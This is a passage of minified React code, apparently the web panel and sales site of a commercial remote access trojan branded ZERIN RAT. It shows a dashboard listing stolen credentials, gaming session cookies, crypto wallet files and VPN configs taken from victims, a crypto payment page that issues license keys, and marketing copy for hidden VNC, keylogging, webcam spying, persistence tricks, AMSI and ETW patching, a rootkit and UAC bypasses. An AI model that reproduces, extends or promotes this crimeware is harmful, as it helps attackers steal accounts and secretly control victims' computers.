hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""})]},ie))})})]}),(((ne=c.putty)==null?void 0:ne.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",c.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.putty.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:T.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[T.host,":",T.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.user})]},ie))})})]}),(((B=c.outlook)==null?void 0:B.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",c.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.outlook.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""})]},ie))})})]}),!((le=c.telegram)!=null&&le.found)&&!((we=c.filezilla)!=null&&we.length)&&!((Ne=c.winscp)!=null&&Ne.length)&&!((Ae=c.putty)!=null&&Ae.length)&&!((R=c.outlook)!=null&&R.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx($n,{title:"Gaming Sessions",count:((fe=c.steam)!=null&&fe.found?1:0)+((ve=c.epic)!=null&&ve.found?1:0)+(((V=c.minecraft)==null?void 0:V.length)??0)+((ae=c.roblox)!=null&&ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>z("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((U=c.steam)==null?void 0:U.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[c.steam.loginusers&&a.jsxs("button",{onClick:()=>yr(c.steam.loginusers,"loginusers.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," loginusers.vdf"]}),c.steam.config&&a.jsxs("button",{onClick:()=>yr(c.steam.config,"config.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," config.vdf"]}),(Q=c.steam.ssfn_files)==null?void 0:Q.map((T,ie)=>a.jsxs("button",{onClick:()=>yr(T.data,T.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",T.name]},ie))]})]}),((he=c.epic)==null?void 0:he.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>yr(c.epic.config,"GameUserSettings.ini"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," GameUserSettings.ini"]})]}),(((E=c.minecraft)==null?void 0:E.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",c.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:c.minecraft.map((T,ie)=>a.jsxs("button",{onClick:()=>yr(T.data,`${T.launcher}_accounts.json`),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",T.launcher]},ie))})]}),((ce=c.roblox)==null?void 0:ce.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),c.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:T=>S(c.roblox.cookie,T),children:[".ROBLOSECURITY: ",c.roblox.cookie.slice(0,40),"..."]}):c.roblox.cookie_file?a.jsxs("button",{onClick:()=>yr(c.roblox.cookie_file,"RobloxCookies.dat"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," RobloxCookies.dat"]}):null]}),!((J=c.steam)!=null&&J.found)&&!((xe=c.epic)!=null&&xe.found)&&!((ke=c.minecraft)!=null&&ke.length)&&!((ze=c.roblox)!=null&&ze.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx($n,{title:"Crypto Wallets",count:((X=c.wallets)==null?void 0:X.length)??0,expanded:d.has("wallets"),onToggle:()=>z("wallets"),children:(re=c.wallets)!=null&&re.length?a.jsx("div",{className:"space-y-3 p-4",children:c.wallets.map((T,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:T.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",T.files.length," file",T.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:T.files.map((ue,lt)=>a.jsxs("button",{onClick:()=>yr(ue.data,ue.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",ue.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx($n,{title:"VPN Configs",count:((se=c.vpn)==null?void 0:se.length)??0,expanded:d.has("vpn"),onToggle:()=>z("vpn"),children:(Oe=c.vpn)!=null&&Oe.length?a.jsx("div",{className:"space-y-3 p-4",children:c.vpn.map((T,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:T.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",T.files.length," file",T.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:T.files.map((ue,lt)=>a.jsxs("button",{onClick:()=>yr(ue.data,ue.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",ue.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((et=c.errors)==null?void 0:et.length)??0)>0&&a.jsx($n,{title:"Errors",count:c.errors.length,expanded:d.has("errors"),onToggle:()=>z("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:c.errors.map((T,ie)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[T.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:T.error})]},ie))})})]})]})}),p&&a.jsx("div",{className:"fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent pointer-events-none animate-fade-in",style:{left:p.x,top:p.y,transform:"translate(-50%, -100%)"},children:p.text})]})}function $n({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:"w-full flex items-center gap-2 px-4 py-2.5 text-left hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}async function IV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const DV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function RV(){const{id:e}=rl(),[t,n]=m.useState(null),[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useCallback(async()=>{if(e)try{const f=await IV(e);n(f)}catch{i("Payment not found")}},[e]);m.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";m.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?DV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),a.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs(xt,{to:"/",className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),a.jsx(xt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),a.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:a.jsx("div",{className:"w-full max-w-lg",children:r?a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),a.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),a.jsx(xt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),a.jsxs("div",{className:"flex items-center gap-2",children:[!c&&a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),a.jsxs("div",{className:"px-6 py-6 space-y-6",children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),a.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),a.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),a.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&a.jsxs("div",{children:[a.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),a.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&a.jsxs("div",{className:"space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),a.jsx("div",{className:"flex items-center gap-2",children:a.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),a.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:s?"Copied!":"Copy Key"}),a.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",a.jsx(xt,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&a.jsxs("div",{className:"text-center space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),a.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),a.jsx(xt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),a.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Vi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per 